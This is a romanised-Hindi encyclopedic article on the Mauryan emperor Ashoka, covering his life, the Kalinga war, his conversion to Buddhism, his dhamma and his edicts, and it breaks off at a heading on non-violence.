अशोक आलेख

	ashok alekh
	ashok\|200px\|center
poora nam	raja priyadarshi devataoan ka priy ashok maury
any nam	'devanampriy' evan 'priyadarshi'
janm	304 eesa poorv (sanbhavit)
janm bhoomi	pataliputr (patana)
mrityu tithi	232 eesa poorv
mrityu sthan	pataliputr, patana
pita/mata	bindusar, subhadraangi (uttari parampara), rani dharma (dakshini parampara)
pati/patni	(1) devi (vedis-mahadevi shakyakumari), (2) karuvaki (dvitiy devi tivalamata), (3) asandhimitra- agramahishi, (4) padmavati, (5) tishyarakshita
santan	devi se- putr mahendr, putri sanghamitra aur putri charumati, karuvaki se- putr tivar, padmavati se- putr kunal (dharmavivardhan) aur bhi kee putroan ka ullekh hai.
upadhi	raja, 'devanampriy' evan 'priyadarshi'
rajy sima	sampoorn bharat
shasan kal	eesapoorv 274 - 232
sha. avadhi	42 varsh lagabhag
rajyabhishek	272 aur 270 eesa poorv ke madhy
dharmik manyata	hindoo dharm, bauddh dharm
prasiddhi	ashok mahan, samrajy vistarak, bauddh dharm pracharak
yuddh	samrat banane ke bad ek hi yuddh l da 'kaliang-yuddh' (262-260 ee.poo. ke bich)
nirman	bhavan, stoop, math aur stanbh
sudhar-parivartan	shilalekhoan dvara janata mean hitakari adeshoan ka prachar
rajadhani	pataliputr (patana)
poorvadhikari	bindusar (pita)
vansh	maury
sanbandhit lekh	ashok ke shilalekh, maury kal adi

ashok vishay soochi

ashok jivan parichay shasan kshetr kalakram dhamm shilalekh parivar vistrit lekh

ashok athava 'asok' (kal eesa poorv 269 - 232) prachin bharat mean maury rajavansh ka raja tha. ashok ka devanampriy evan priyadarshi adi namoan se bhi ullekh kiya jata hai. usake samay maury rajy uttar mean hindukush ki shreniyoan se lekar dakshin mean godavari nadi ke dakshin tatha maisoor, karnatak tak tatha poorv mean bangal se pashchim mean afaganistan tak pahuanch gaya tha. yah us samay tak ka sabase b da bharatiy samrajy tha. samrat ashok ko apane vistrit samrajy ke behatar kushal prashasan tatha bauddh dharm ke prachar ke lie jana jata hai. jivan ke uttarardh mean ashok gautam buddh ka bhakt ho gaya aur unhian^[6] ki smriti mean usane ek stambh kh da kar diya jo aj bhi nepal mean unake janmasthal - lumbini mean 'mayadevi mandir' ke pas ashok sh‍tamh‍bh ke roop mean dekha ja sakata hai. usane bauddh dharm ka prachar bharat ke alava shrilanka, afaganistan, pashchim eshiya, misr tatha yoonan mean bhi karavaya. ashok ke abhilekhoan mean praja ke prati kalyanakari drishtikon ki abhivyakti ki gee hai.

jivan parichay

janm

ashok prachin bharat ke maury samrat biandusar ka putr tha. jisaka janm lagabhag 304 ee. poorv mean mana jata hai. lanka ki parampara mean ^[7] biandusar ki solah pataraniyoan aur 101 putroan ka ullekh hai. putroan mean keval tin ke namollekh haian, ve haian - susim ^[8] jo sabase b da tha, ashok aur tishy. tishy ashok ka sahodar bhaee aur sabase chhota tha.^[9]bhaiyoan ke sath grih-yuddh ke bad 272 ee. poorv ashok ko rajagaddi mili aur 232 ee. poorv tak usane shasan kiya.

samrat ashok

aranbh mean ashok bhi apane pitamah chandragupt maury aur pita biandusar ki bhaanti yuddh ke dvara samrajy vistar karata gaya. kashmir, kaliang tatha kuchh any pradeshoan ko jitakar usane sanpoorn bharat mean apana samrajy sthapit kar liya, jisaki simaean pashchim mean eeran tak phaili huee thian. parantu kaliang yuddh mean jo janahani huee usaka ashok ke hriday par b da prabhav p da aur vah hiansak yuddhoan ki niti chho dakar dharm vijay ki or agrasar hua. ashok ki prasiddhi itihas mean usake samrajy vistar ke karan hi nahian hai varanh dharmik bhavana aur manavatavad ke pracharak ke roop mean bhi hai.

bindusar ki mrityu ke bad ashok samrat bana. ashok ke sambandh mean janakari prapt karane mean pramukh sadhan ashok ke shilalekh tatha stanbhoan par utkirn abhilekh haian. kintu ye abhilekh ashok ke prarambhik jivan par koee prakash nahian dalate. inake lie hamean sanskrit tatha pali mean likhe hue bauddh granthoan par nirbhar rahana p data hai. paramparanusar ashok ne apane bhaiyoan ka hanan karake sianhasan prapt kiya tha.

ashok ka shasan

ashok siriya ke raja 'entiyokas dvitiy'^[10] aur kuchh any yavan^[11] rajaoan ka samasamayik tha, jinaka ullekh 'shilalekh sankhya 8' mean hai. isase vidit hota hai ki ashok ne eesa poorv tisari shatabdi ke uttarardh mean rajy kiya, kiantu usake rajyabhishek ki sahi tarikh ka pata nahian chalata hai. ashok ne 40 varsh rajy kiya. isalie rajyabhishek ke samay vah yuvak hi raha hoga. ashok ke rajyakal ke prarambhik 12 varshoan ka koee sunishchit vivaran upalabdh nahian hai. ^[12]

takshashila aur kaliang par vijay

apane rajyabhishek ke navean varsh tak ashok ne maury samrajy ki paramparagat niti ka hi anusaran kiya. ashok ne desh ke andar samrajy ka vistar kiya kintu doosare deshoan ke sath maitripoorn vyavahar ki niti apanaee.^[5]

bharat ke andar ashok ek vijeta raha. usane khas, nepal ko vijit kiya aur takshashila ke vidroh ka shant kiya. apane rajyabhishek ke navean varsh mean ashok ne kaliang par vijay prapt ki. aisa pratit hota hai ki nand vansh ke patan ke bad kaliang svatantr ho gaya tha. plini ki pustak mean uddhrit megasthaniz ke vivaran ke anusar chandragupt ke samay mean kaliang ek svatantr rajy tha. ashok ke shilalekh ke anusar yuddh mean mare ge tatha qaid kie hue sipahiyoan ki sankhya dhaee lakh thi aur isase bhi kee guna sipahi yuddh mean ghayal hue the. magadh ki simaoan se ju de hue aise shaktishali rajy ki sthiti ke prati magadh shasak udasin nahian rah sakata tha. kharavel ke samay magadh ko kaliang ki shakti ka katu anubhav tha. suraksha ki drishti se kaliang ka jitana avashyak tha. kuchh itihasakaroan ke anusar kaliang ko jitane ka doosara karan bhi tha. dakshin ke sath sidhe sampark ke lie samudri aur sthal marg par mauryoan ka niyantran avashyak tha. kaliang yadi svatantr desh rahata to samudri aur sthal marg se hone vale vyapar mean rukavat p d sakati thi. atah kaliang ko magadh samrajy mean milana avashyak tha. kintu yah koee prabal karan pratit nahian hota kyoanki is drishti se to chandragupt ke samay se hi kaliang ko magadh samrajy mean mila lena chahie tha. kautily ke vivaran se spasht hai ki vah dakshin ke sath vyapar ko mahattv deta tha. vijit kaliang rajy magadh samrajy ka ek aang ho gaya. rajavansh ka koee rajakumar vahaan vaisaray^[13] niyukt kar diya gaya. tosali is prant ki rajadhani banaee gee.^[5]

kaliang yuddh

kaliang yuddh mean hue narasanhar tatha vijit desh ki janata ke kasht se ashok ki aantaratma ko tivr aghat pahuancha.^[5] 260 ee. poo. mean ashok ne kaliangavasiyoan par akraman kiya, unhean poori tarah kuchalakar rakh diya. maury samrat ke shabdoan mean, 'is l daee ke karan 1,50,000 adami visthapit ho ge, 1,00,000 vyakti mare ge aur isase kee guna nasht ho ge....'. yuddh ki vinashalila ne samrat ko shokakul bana diya aur vah prayashchitt karane ke prayatn mean bauddh vicharadhara ki or akarshit hua.^[14]

ashok ka hriday parivartan

yuddh ki bhishanata ka ashok par gahara prabhav p da.^[15] ashok ne yuddh ki niti ko sada ke lie tyag diya aur 'digvijay' ke sthan par 'dhamm vijay' ki niti ko apanaya. d aau. hemachandr rayachaudhari ke anusar magadh ka samrat banane ke bad yah ashok ka pratham tatha antim yuddh tha. isake bad magadh ki vijayoan tatha rajy-vistar ka yah yug samapt hua jisaka sootrapat bianbisar ki aang vijay ke bad hua tha. ab ek ne yug arambh hua. yah yug shanti, samajik pragati tatha dharmaprachar ka tha, kintu isake sath-sath rajanitik gatirodh aur samarik kushalata bhi dikhaee dene lagi. sainik abhyas ke abhav mean magadh ka samarik avesh aur utsah kshin hone laga.^[5] thumb|250px|left|ashok ke samrajy ki sima ka manachitr kaliang ki praja tatha kaliang ki sima par rahane vale logoan ke prati kaisa vyavahar kiya jae, is sambandh mean ashok ne do adesh jari kie. ye do adesh dhauli aur jaug d namak sthanoan par surakshit haian. ye adesh tosali aur samapa ke mahamatyoan tatha uchch adhikariyoan ko sambodhit karate hue likhe ge haian - "samrat ka adesh hai ki praja ke sath putravath vyavahar ho, janata ko pyar kiya jae, akaran logoan ko karavas ka dand tatha yatana n di jae. janata ke sath nyay kiya jana chahie. simaant jatiyoan ko ashvasan diya gaya ki unhean samrat se koee bhay nahian karana chahie. unhean raja ke sath vyavahar karane se sukh hi milega, kasht nahian. raja yathashakti unhean kshama karega, ve dhamm ka palan karean. yahaan par unhean sukh milega aur mrityu ke bad svarg."

samrajy ki sima

ashok ke shilalekhoan tatha stanbhalekhoan se ashok ke samrajy ki sima ki thik janakari prapt hoti hai. shilalekhoan tatha stanbhalekhoan ke vivaran se hi nahian, varanh jahaan se abhilekh pae ge haian, un sthanoan ki sthiti se bhi sima nirdharan karane mean sahayata milati hai. in abhilekhoan mean janata ke lie raja ki ghoshanaean thian. atah ve ashok ke vibhinn prantoan mean abadi ke mukhy kendroan mean utkirn karae ge. kuchh abhilekh simaant sthanoan par pae jate haian. uttar—pashchim mean shahabajagadhi aur manasehara mean ashok ke shilalekh pae ge. isake atirikt takshashila mean aur qabul pradesh mean 'lamagan' mean ashok ke lekh aramaik lipi mean milate haian. ek shilalekh mean entiyokas dvitiy thiyos ko p dosi raja kaha gaya hai. isase spasht hai ki uttar-pashchim mean ashok ke samrajy ki sima hindukush tak thi. kalasi, rumminadeee tatha nigali sagar shilalekh tatha stanbhalekhoan se siddh hota hai ki deharadoon aur nepal ki taraee ka kshetr ashok ke rajy mean tha. saranath tatha nepal ki vanshavaliyoan ke praman tatha smarakoan se yah siddh hota hai ki nepal ashok ke samrajy ka ek aang tha. jab ashok yuvaraj tha, usane khas aur nepal pradesh ko jita tha.

shilalekh aur stoop

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[[chitr:Brahmi Lipi-1.jpg|250px|thumb|brahmi lipi]] poorv mean bangal tak maury samrajy ke vistrit hone ki pushti mahasthan shilalekh se hoti hai. yah abhilekh brahmi lipi mean hai aur maury kal ka mana jata hai. mahavansh ke anusar ashok apane putr ko vida karane ke lie tamralipti tak aya tha. hven tsaang ko bhi tamralipti, karnasuvarn, samatat, poorvi bangal tatha pundravardhan mean ashok ke stoop dekhane ko mile the. divyavadan mean kaha gaya hai ki ashok ke samay tak bangal magadh samrajy ka hi ek aang tha. asam kadachith maury samrajy se bahar tha.

chitr:Blockquote-open.gif 'is l daee ke karan 1,50,000 adami visthapit ho ge, 1,00,000 vyakti mare ge aur isase kee guna nasht ho ge....'. chitr:Blockquote-close.gif

- maury samrat ke shabdoan mean

vahaan par ashok ke koee smarak chini yatri ko dekhane ko nahian mile. u disa aur ganzam se lekar pashchim mean saurashtr tatha maharashtr tak ashok ka shasan tha. dhauli aur jaug d mean ashok ke shilalekh mile haian, sath hi saurashtr mean joonagadh aur aparant mean muanbee ke pas sopara namak sthan ke pas bhi shilalekh mile haian. dakshin mean yerragudi, kurnool zile mean ashok ke shilalekh mile haian. isake atirikt uttari karnatak ke chittaladurg ilaqe ke tin sthanoan - siddhapur, maski tatha jatiang rameshvar mean ashok ke laghu shilalekh mile haian. ashok ke shilalekhoan mean chol, paandy aur keral rajyoan ko svantatr simavarti rajy kaha gaya hai. jisase spasht hai ki sudoor dakshin bharat ashok ke samrajy se bahar tha. is prakar ham dekhate haian ki asam aur sudoor dakshin ko chho dakar sampoorn bharatavarsh ashok ke samrajy ke aantargat tha.

rajyoan se sanbandh

yadyapi ashok ka samrajy vistrit tha tathapi samrajy ke aantargat sabhi deshoan par usaka sidha shasan tha. ashok ke paanchave aur terahavean shilalekh mean kuchh janapadoan tatha jatiyoan ka ullekh kiya gaya hai. jaise yavan, kamboj, nabhak, nabhapankti, bhoj, pitanik, andhr, puliand. repsan ka vichar hai ki ye desh tatha jatiyaan ashok dvara jite ge rajy ke aantargat n hokar prabhavakshetr mean the.^[16] kintu yah sahi pratit nahian hota hai. kyoanki in pradeshoan mean ashok ke dharm mahamatroan ke niyukt kie jane ka ullekh hai. d aau. rayachaudhari ke anusar in logoan ke sath vijitoan tatha aantaravijitoan^[17] ke bich ka vyavahar kiya jata tha. gaandhar, yavan, kamboj, uttar-pashchimi simaant pradesh mean the. bhoj, rashtrik, pitanik sambhavatah aparant pashchimi sima mean the. 13vean shilalekh mean ashok ne atavi jatiyoan ka ullekh kiya hai, jo aparadh karate the. unhean yathasambhav kshama karane ka ashvasan diya gaya hai. kintu sath hi yah chetavani bhi di hai ki anutap arthath pashchatap mean bhi 'devanampriy' ka prabhav hai. yadi ye jatiyaan kathinaiyaan utpann karean to raja ko unhean saza dene tatha marane ki shakti bhi hai. sambhavatah yah 'atavi pradesh' buandelakhand se lekar u disa tak phaila hua tha. ye atavi jatiyaan yadyapi parajit hueean thian, tathapi unaki aantarik svatantrata ko manyata de di gee thi.

[[chitr:Asoka's-Pillar.jpg|thumb|left|200px|ashok ka stambh, vaishali]]

dharm parivartan

chitr:Blockquote-open.gif samrat ka adesh hai ki praja ke sath putravath vyavahar ho, janata ko pyar kiya jae, akaran logoan ko karavas ka dand tatha yatana n di jae. janata ke sath nyay kiya jana chahie. simaant jatiyoan ko ashvasan diya gaya ki unhean samrat se koee bhay nahian karana chahie. unhean raja ke sath vyavahar karane se sukh hi milega, kasht nahian. raja yathashakti unhean kshama karega, ve dhamm ka palan karean. yahaan par unhean sukh milega aur mrityu ke bad svarg. chitr:Blockquote-close.gif

- ashok

bauddh dharm mean diksha

ek din apane rajabhavan ki khi daki se usane shraman nigrodh ko bhiksha ke lie jate hue dekha aur usake vyaktitv se bahut hi prabhavit hua. nigrodh ashok ke b de bhaee suman ka putr tha. nigrodh ke pravachan ko sunakar ashok ne bauddh dharm apana liya. bad mean vah moanggaliputt tiss ke prabhav mean a gaya. uttari bharat ki anushrutiyoan ke anusar upagupt ne ashok ko bauddh dharm mean dikshit kiya. in bhikshuoan ki shiksha tatha sampark se ashok ka rujhan bauddh dharm ki or badh raha tha. in anushrutiyoan se pata chalata hai ki ek sadharan bauddh hone ke bavajood ashok ne kaliang par akraman kiya. kaliang yuddh ke narasanhar se ashok ki aantaratma ki tivr aghat pahuancha. is pashchatap ke parinamasvaroop ashok ne vidhivat bauddh dharm grahan kar liya. kintu jaisa ki ashok ke ek laghu shilalekh se vidit hota hai, bauddh dharm mean dikshit hone ke bad lagabhag ek sal tak ashok ne bauddh dharm ke prasar mean sakriy bhag nahian liya. avashy hi ek upasak ke roop mean usane 10vean varsh bodh gaya ki yatra ki. vihar-yatra ka sthan dharm yatraoan ne le liya. isake bad vah ek varsh tak sangh mean hi raha ya sangh ke bhikshuoan ke nikat sampark mean raha. is sampark ke phalasvaroop vah dharm ke prati atyadhik utsahashil ho gaya. usane janata mean prachar ke lie dharm-sambandhi upadesh shilaoan evan stanbhoan par utkirn karavae.

ashok ka dhamm

sansar ke itihas mean ashok isalie vikhyat hai ki usane nirantar manav ki naitik unnati ke lie prayas kiya. jin siddhaantoan ke palan se yah naitik utthan sambhav tha, ashok ke lekhoan mean unhean 'dhamm' kaha gaya hai. doosare tatha satavean stanbh-lekhoan mean ashok ne dhamm ki vyakhya is prakar ki hai, "dhamm hai sadhuta, bahut se kalyanakari achchhe kary karana, paparahit hona, mriduta, doosaroan ke prati vyavahar mean madhurata, daya-dan tatha shuchita." age kaha gaya hai ki, "praniyoan ka vadh n karana, jivahiansa n karana, mata-pita tatha b doan ki ajna manana, gurujanoan ke prati adar, mitr, parichitoan, sambandhiyoan, brahman tatha shravanoan ke prati danashilata tatha uchit vyavahar aur das tatha bhrityoan ke prati uchit vyavahar."

brahmagiri shilalekh mean in gunoan ke atirikt shishy dvara guru ka adar bhi dhamm ke aantargat mana gaya hai. ashok ke anusar yah purani parampara^[18] hai.
tisare shilalekh mean ashok ne alp vyay tatha alp sangrah ka bhi dhamm mana hai. ashok ne n keval dhamm ki vyakhya ki hai, varanh usane dhamm ki pragati mean badhak pap ki bhi vyakhya ki hai - chandata, nishthurata, krodh, man aur eershya pap ke lakshan haian. pratyek vyakti ko inase bachana chahie.
ashok ne nity atm-parikshan par bal diya hai. manushy hamesha apane dvara kie ge achchhe karyoan ko hi dekhata hai, yah kabhi nahian dekhata ki maianne kya pap kiya hai. vyakti ko dekhana chahie ki ye manoveg - chandata, nishthurata, krodh, eershya, man—vyakti ko pap ki or n le jaean aur use bhrasht n karean.

dhamm mean pravritt

kaliang yuddh ke bad hi ashok apane shilalekhoan ke anusar dhamm mean pravritt hua. yahaan dhamm ka ashay bauddh dharm liya jata hai aur vah shighr hi bauddh dharm ka anuyayi ban gaya. bauddh matavalambi hone ke bad ashok ka vyaktitv ekadam badal gaya. athavean shilalekh mean jo sambhavat: kaliang vijay ke char varsh bad taiyar kiya gaya tha, ashok ne ghoshana ki- 'kaliang desh mean jitane adami mare gaye, mare ya qaid hue usake sauanve ya hazaravean hisse ka nash bhi ab devataoan ke priy ko b de du:kh ka karan hoga.'

chitr:Blockquote-open.gif dhamm hai sadhuta, bahut se kalyanakari achchhe kary karana, paparahit hona, mriduta, doosaroan ke prati vyavahar mean madhurata, daya-dan tatha shuchita." age kaha gaya hai ki, "praniyoan ka vadh n karana, jivahiansa n karana, mata-pita tatha b doan ki ajna manana, gurujanoan ke prati adar, mitr, parichitoan, sambandhiyoan, brahman tatha shravanoan ke prati danashilata tatha uchit vyavahar aur das tatha bhrityoan ke prati uchit vyavahar. chitr:Blockquote-close.gif

- ashok

usane age yuddh na karane ka nirnay liya aur bad ke 31 varsh apane shasanakal mean usane mrityuparyant koee l daee nahian thani. usane apane uttaradhikariyoan ko bhi paramarsh diya ki ve shastroan dvara vijay prapt karane ka marg chho d dean aur dharm dvara vijay ko vastavik vijay samajhean. ^[19]

dhamm ke siddhaant

dhamm ke in siddhaantoan ka anushilan karane se is sambandh mean koee sandeh nahian rah jata ki yah ek sarvasadharan dharm hai. jisaki moolabhoot manyataean sabhi sampradayoan mean many haian aur jo desh kal ki simaoan mean abaddh nahian haian. kisi pakhand ya sampraday ka isase virodh nahian ho sakata. ashok ne apane terahavean shilalekh mean likha hai—brahman, shraman aur grahasth sarvatr rahate haian aur dharm ke in acharanoan ka palan karate haian. ashok ke samrajy mean anek sampraday ke manane vale the aur ho sakata hai ki unamean tho da bahut virodh tatha pratidvandvita ka bhav bhi raha ho. usane sabhi sampradayoan mean samanjasy sthapit karane ke lie sadachar ke in niyamoan par zor diya. barahavean shilalekh mean ashok mean dharm ki sar-vriddhi par zor diya hai, arthath ek dharm—sampraday vale doosare dharm—sampraday ke siddhaantoan ke vishay mean janakari prapt karean, isase dharmasar ki vriddhi hogi.

chitr:Blockquote-open.gif sari praja meri santan hai, jis prakar maian apani santan aihik aur kalyan ki kamana karata hooan usi prakar, apani praja ke aihik aur paralaukik kalyan aur sukh ke lie bhi. jaise ek maan ek shishu ko ek kushal dhay ko sauanpakar nishchiant ho jati hai ki kushal dhay santan ka palan-poshan karane mean samarth hai, usi prakar maianne bhi apani praja ke sukh aur kalyan ke lie rajukoan ki niyukti ki hai" chitr:Blockquote-close.gif

- kaliang mean ashok

bauddh dharm

isamean koee sandeh nahian ki ashok bauddh dharm ka anuyayi tha. sabhi bauddh granth ashok ko bauddh dharm ka anuyayi batate haian. ashok ke bauddh hone ke sabal praman usake abhilekh haian. rajyabhishak se sambaddh laghu shilalekh mean ashok ne apane ko 'buddhashaky' kaha hai. sath hi yah bhi kaha hai ki vah dhaee varsh tak ek sadharan upasak raha. bhabru laghu shilalekh mean ashok 'triratn'- 'buddh', 'dhamm' aur 'sangh' mean vishvas karane ke lie kahata hai aur bhikshu tatha bhikshuniyoan se kuchh bauddh granthoan ka adhyayan tatha shravan karane ke lie kahata hai. laghu shilalekh se yah bhi pata chalata hai ki rajyabhishek ke dasavean varsh mean ashok ne bodh gaya ki yatra ki, barahavean varsh vah nigali sagar gaya aur konagaman buddh ke stoop ke akar ko duguna kiya. mahavansh tatha dipavansh ke anusar usane tritiy bauddh sangiti (sabha) bulaee aur moggaliputt tiss ki sahayata se sangh mean anushasan aur ekata lane ka saphal prayas kiya. yah doosari bat hai ki ekata theravad bauddh sampraday tak hi simit thi. ashok ke samay theravad sampraday bhi anek upasampradayoan mean vibhakt ho gaya tha. ashok ke saranath tatha saanchi ke laghu stanbh lekh mean sanghabhed ke viruddh yah adesh jari kiya gaya hai ki jo bhikshu ya bhikshuni sangh mean phoot dalane ka prayas karean unhean sangh se bahishkrit kiya jae. yah adesh kaushambi aur pataliputr ke mahapatroan ko diya gaya hai. isase pata chalata hai ki bauddh dharm ka sanrakshak hone ke nate sangh mean ekata banae rakhane ke lie ashok ne rajasatta ka upayog kiya. hamean ashok ke vyaktigat dharm aur abhilekhoan mean die hue dhamm mean spasht bhed rakhana hai. ashok bauddh tha, triratn mean vishvas karata tha. kintu jis dhamm ke upadesh ka usane logoan mean prachar kiya vah sarvasadharan dhamm tha. yah manav dhamm tha, tabhi to ashok apane terahavean shilalekh mean videshoan mean yoonani shasakoan aur desh mean samrajy ke bahar dakshin ke p dosi rajyoan mean dhamm vijay ka dava karata hai. ukt shilalekh ke anusar in sabhi deshoan mean log dhammanushasan (dharm ki shiksha) sunate haian aur dhamm ke anukool acharan karate haian.

ashok ke dharm sanbandhi shilalekh

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[[chitr:Brahmi Lipi-3.jpg|thumb|ashok ke shilalekh|220px]] ashok ke lekh shilaoan, prastar stambhoan aur guphaoan mean paye jate haian. ashok ke lekhoan ko tin shreniyoan mean baanta ja sakata hai -

shilalekh
stambhalekh
guphalekh

shilalekhoan aur stambh lekhoan ko do upashreniyoan mean rakha jata hai. 14 shilalekh silasilevar haian, jinako chaturdash shilalekh kaha jata hai. ye shilalekh shahabajagadhi, manasera, kalasi, giranar, sopara, dhauli aur jaugadh mean mile haian. kuchh phutakar shilalekh asambaddh roop mean haian aur sankshipt haian. shayad isilie unhean laghu shilalekh kaha jata hai. is prakar ke shilalekh roopanath, sasaram, bairat, maski, siddhapur, jatiangarameshvar aur brahmagiri mean paye gaye haian.
doosari shreni ke laghu shilalekh bairat^[20], yeragu di aur kopabal mean mile haian. do any laghu shilalekh abhi hal mean hi afaganistan mean - ek jalalabad mean aur doosara kandhar ke nikat mila hai.
isake alava sat lekh stambhoan par utkirn haian, jisake karan vah stambh lekh ke nam se prasiddh haian. ye stambh lekh dilli, ilahabad, lauriya - araraj, lauriya nandanagadh aur ramapurava mean mile haian. kuchh stambhoan par keval ek ek lekh hai, at: unhean sat stambh lekhoan ke kram se alag rakha gaya hai aur ve laghustambh lekh kahe jate haian. is prakar ke laghu stambhalekh saranath, saanhi, rumminadeh aur nigliv mean mile haian.
aantim tin lekh barabar paha diyoan ki guphaoan mean mile haian aur unako guphalekhoan ke nam se pukara jata hai.^[21]

stoop

kaha jata hai ki ashok ne ek hazar stoopoan ka nirman karaya tha, jinamean se bhilasa ke ek stoop ko chho dkar shesh sabhi nasht ho gaye haian. usaka rajaprasad, jise phahiyan ne chauthi shatabdi mean dekha tha, satavian shatabdi mean huenasaang ki yatra ke samay tak nasht ho gaya tha. ashok ka rajaprasad itana bhavy tha ki use dekhakar yah samajha tha ki usako ashok ke lie devoan ne taiyar kiya hoga. usake kuchh prastar stambho par itani suandar p aaulish hai ki shatabdiyaan bit jane par bhi kharab nahian huee hai. lalit kala aur sthapaty kala ke parakhi unaki bahut prashansa karate hai. door door tak phaile ye prastar stambh ek hi chattan se kat kar banaye gaye the. aur bharatiy shilp ke anupam udaharan haian. "unako dekhane se maloom hota hai ki us samay patthar par p aaulish karane ki kala atyant unnat thi aur adhunik yug mean yah kala vilupt ho gayi hai."^[22]

shilalekhoan mean ashok

shilaoan tatha stanbhoan par utkirn lekhoan ke anushilan se ham is nishkarsh par pahuanchate haian ki ashok ka dhamm vyavaharik phalamoolak (arthath phal ko drishti mean rakhane vala) aur atyadhik manaviy tha. is dharm ke prachar se ashok apane samrajy ke logoan mean tatha bahar achchhe jivan ke adarsh ko charitarth karana chahata tha. isake lie usane jahaan kuchh batean lakar bauddh dharm mean sudhar kiya vahaan logoan ko dharm parivartan ke lie vivash nahian kiya. vastutah usane apane shasanakal mean nirantar yah prayas kiya ki praja ke sabhi vargoan aur sampradayoan ke bich sahamati ka adhar dhooandha jae aur samany adhar ke anusar niti apanaee jae. satavean shilalekh mean ashok ne kaha, "sabhi sampraday sabhi sthanoan mean rah sakate haian, kyoanki sabhi atmasanyam aur bhavashuddhi chahate haian." barahavean shilalekh mean usane ghoshana ki ki ashok sabhi sampradayoan ke grihasth aur shravanoan ka dan adi ke dvara samman karata hai. kintu maharaj dan aur man ko itana mahattv nahian dete jitana is bat ko dete haian ki sabhi sampraday ke logoan mean saravriddhi ho, saravriddhi ke lie moolamantr hai vakasanyam (vacho gutti). logoan ko apane sampraday ki prashansa tatha doosare sampradayoan ki ninda nahian karani chahie. logoan mean sahamati (samavay) badhane ke lie dhamm mahapatr tatha any karmachariyoan ko lagaya gaya hai.

ashok par yah arop lagaya gaya hai ki usane apane adesh (lekh) keval bauddh dharm ke prachar-prasar ke lie khudavaye haian par yah vichar nyayasangat nahian hai, kyoanki usane sabhi sampradayoan ko prakat roop se sahayata di.^[23]

bauddh dharm mean ruchi ka karan

ashok ke dhamm ki vivechana karate hue romila thapar ne likha hai ki kuchh rajanitik uddeshyoan se hi ashok ne ek ne dharm ki kalpana ki tatha isaka prasar kiya. chandragupt maury ke samay shasan ke kendrikaran ki niti saphalatapoorvak poori ho chuki thi. kushal adhikaratantr, achchhi sanchar vyavastha aur shaktishali shasak ke dvara us samay samrajy ka jitana kendrikaran sambhav tha, vah ho chuka tha. kintu kendr ka adhipaty banae rakhana do hi tarah se sambhav tha, ek to sainik shakti dvara kathor shasan tatha raja mean devatv ka aropan karake aur doosare sabhi vargoan se sankalit saragrahi dharm ko apanakar. yah doosara tariqa hi adhik yukti sangat tha kyoanki aisa karane se kisi ek varg ka prabhav kam kiya ja sakata tha aur phalatah kendr ka prabhav badhata. ashok ki yah niti sar roop mean vahi thi jo akabar ne apanaee thi. yadyapi usaka roop bhinn tha. sianhasanaroodh hone ke samay ashok bauddh nahian tha. bad mean hi usaki bauddh dharm mean ruchi badhi kyoanki uttaradhikar yuddh ke samay use sambhavatah kattar samudayoan ka samarthan nahian mila. atah bauddh dharm ko spasht roop mean samarthan dekar usane un vargoan ka samarthan prapt kiya jo kattar nahian the. romila thapar ka anuman hai ki bauddh aur ajivakoan ko navodit vaishy varg ka samarthan prapt tha tatha janasadharan ka in sampradayoan se tivr virodh nahian tha. is prakar ashok ne dharm ko apanane mean vyavaharik labh dekha. is ne dharm ya dhamm ki kalpana ka doosara karan tha chhoti—chhoti rajanitik ikaiyoan mean bante samrajy ke vibhinn vargoan, jatiyoan aur sanskritiyoan ko ek sootr mean baandhana. inake sath-sath vibhinn pradeshoan mean satta ko dridh karane ke lie yah upayog mean laya ja sakata tha. mahattvapoorn yah hai ki ek shasak jisake pas nirankush qanooni vidhan, vishal sena evan aparimit sansadhan ho vah apane shilalekhoan mean svayan ko naitik moolyoan ke vistarak ke roop mean prastut kyoan karata hai? vastutah yogy v kushal shasakoan ki niyuktiyaan sadaiv samrajy ki raksha ke lie nirmit ki jati haian| bauddh dharm ki shiksha ke keandr magadh mean janamanas mean shoshan ke viruddh vyapak chetana thi| samrat ashok ko bauddh dharm ka prachar karane aur stoopadi ko nirmit karane ki prerana dharmachary upagupt ne hi di. jab bhagavan buddh doosari bar mathura aye, tab unhoanne bhavishyavani ki aur apane priy shishy anand se kaha ki kalaantar mean yahaan upagupt nam ka ek prasiddh dharmik vidvanh hoga, jo unhian ki tarah bauddh dharm ka prachar karega aur usake upadesh se anek bhikshu yogyata aur pad prapt kareange. is bhavishyavani ke anusar upagupt ne mathura ke ek vanik ke ghar janm liya. usaka pita sugandhit dravyoan ka vyapar karata tha. upagupt atyant roopavan aur pratibhashali tha. upagupt kishoravastha mean hi virakt hokar bauddh dharm ka anuyayi ho gaya tha. anand ke shishy shanakavasi ne upagupt ko mathura ke nat-bhat vihar mean bauddh dharm ke 'sarvastivadi sanpraday' ki diksha di thi.

naitik utthan ke lie dhamm ka prachar

bauddh anushrutiyoan aur ashok ke abhilekhoan se yah siddh nahian hota ki usane kisi rajanitik uddeshy se dhamm ka prachar kiya. terahavean shilalekh aur laghu shilalekh se vidit hota hai ki ashok dharm parivartan ka kaliang yuddh se nikat sambandh hai. romila thapar ka mat hai ki dhamm kalpana ashok ki niji kalpana thi, kintu ashok ke shilalekhoan mean dhamm ki jo batean di gee haian unase spasht hai ki ve poorn roop se bauddh granthoan se li gee haian. ye bauddh granth haian—dighanikay ke lakkhan sutt chakkavatti sihanad sutt, rahulovad sutt tatha dhammapad. in granthoan mean varnit dharmaraj ke adarsh se prerit hokar hi ashok ne dhamm vijay adarsh ko apanaya. lakkhan sutt tatha chakkavatti sihanad sutt mean dhammayukt chakravarti samrat ke vishay mean kaha gaya hai ki vah bhautik tatha adhyatmik kalyan ke lie prayatnashal rahata hai. aisa raja vijay se nahian apitu dhamm se vijayi hota hai. vah talavar ke bajay dhamm se vijay prapt karata hai. vah logoan ko ahiansa ka upadesh deta hai. ashok ne dhamm ki jo paribhasha di hai vah 'rahulovadasutt' se li gee hai. is sutt ko 'gehavijay' bhi kaha gaya hai arthath 'grahasthoan ke lie anushasan granth'. upasak ke lie param uddeshy svarg prapt karana tha n ki nirvan. chakkavatti (chakravarti) dhammaraj ke adarsh ko apanate hue ashok ne janasadharan ke naitik utthan ke lie apane dhamm ka prachar kiya taki ve ehik sukh aur is janm ke bad svarg prapt kar sakean. isamean sandeh nahian ki ashok sachche hriday se apani praja ka naitik punaruddhar karana chahata tha aur isake lie vah nirantar prayatn shil raha. vah nissandeh ek adarsh ko charitarth karana chahata tha. yahi ashok ki maulikata hai.

ahiansa ka prachar

